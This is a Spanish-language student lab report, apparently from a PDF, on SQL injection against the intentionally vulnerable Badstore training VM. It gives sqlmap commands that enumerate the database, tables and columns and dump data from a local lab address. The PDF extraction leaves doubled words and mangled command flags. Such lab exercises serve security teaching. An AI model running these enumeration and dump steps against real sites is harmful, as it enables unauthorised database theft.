Practica 1 Inyeccion Badstore.pdf

Seguridad En Bases De Datos Practica Pr actica 1-Iny 1-Inyeccion eccion SQL a Badstore Presentado por: Carlos Orlando Díaz Tutor: Tut or: Jesús Emi Emiro ro Vega

Escuela de Ciencias Básicas , tecnología e ingeniería UNAD - 2014

Inicialmente se debe descargar la maquina virtual desde https://www.virtualbox. org/wiki/Downloads

Descargar la versión mas reciente del Programa sqlmap desde http://sqlmap.org/

Se debe descargar la versión 2.7.8 de Python desde https://www.python.org/downloads/ para poder ejecutar el software sqlmap

Instalación de python Para ejecutar sqlmap

Instalación de la Maquina Virtual

Configuración de la maquina Virtual

Cuando arranca la maquina virtual se debe cargar la imagen iso del badstore, luego luego se debe digitar el Comando Comando «ifconfig» para conocer la dirección IP que tiene Badstore

Digitamos En el navegador para este caso la dirección IP correspondiente y aparecerá la pagina inicial de Badstore

Encontramos un error en la pagina al dejar en blanco La opción de buscar y hacer click sobre la imagen correspondiente

Ataque a la Base de Datos de Badstore

Inicialmente se debe colocar los directorios de Python y sqlmap en la misma ubicación en este caso El directorio raíz., posteriormente se debe acceder a la Carpeta de sqlmap para poder ejecutar el ataque.

Dentro de la carpeta sqlmap ejecutamos El siguiente comando: C:\sqlmap>sqlmap.py -u "http://192.168.0.25/cgibin/badstore.cgi?searchquery=&action=search&x =10&y=3" b Con este comando obtenemos la versión de la base de datos  –

Con el siguiente comando: C:\sqlmap>sqlmap.py C:\sqlmap>sqlmap.py -u "http://192.168.0.25/cgibin/badstore.cgi?searchquery=&action =search&x=10&y=3" -current db  –

 –

Conocemos el nombre de la base de datos del sitio a atacar, que en este caso se llama «badstoredb»

Para conocer las tablas que posee La base de datos digitamos lo Siguiente: C:\sqlmap>sqlmap.py -u "http://192.168.0.25/cgibin/badstore.cgi?searchquery=&action=searc h&x=10&y=3" D badstoredb -tables  –

 –

Para conocer las columnas que posee La base de datos digitamos lo Siguiente: C:\sqlmap>sqlmap.py -u "http://192.168.0.25/cgibin/badstore.cgi?searchquery=&action=se arch&x=10&y=3" D badstoredb T itemdb --columns  –

 –

Para conocer los datos que están Dentro de alguna de las columnas Escribimos lo siguiente: C:\sqlmap>sqlmap.py -u "http://192.168.0.25/cgibin/badstore.cgi?searchquery=&action=searc h&x=10&y=3" D badstoredb T itemdb C itemnum --dump  –

 –

 –

Referencias Bibliográficas

•

http://blog.elhacker.net/2014/06/sqlmap-automatizando-ataques-sqli-injection.h

•

http://www.youtube.com/watch?v=5DCqk0l0IoY

•

http://www.youtube.com/watch?v=yU9bUb026_4

•

http://www.hacktimes.com/sql_in http://www .hacktimes.com/sql_injection_con_sqlmap/ jection_con_sqlmap/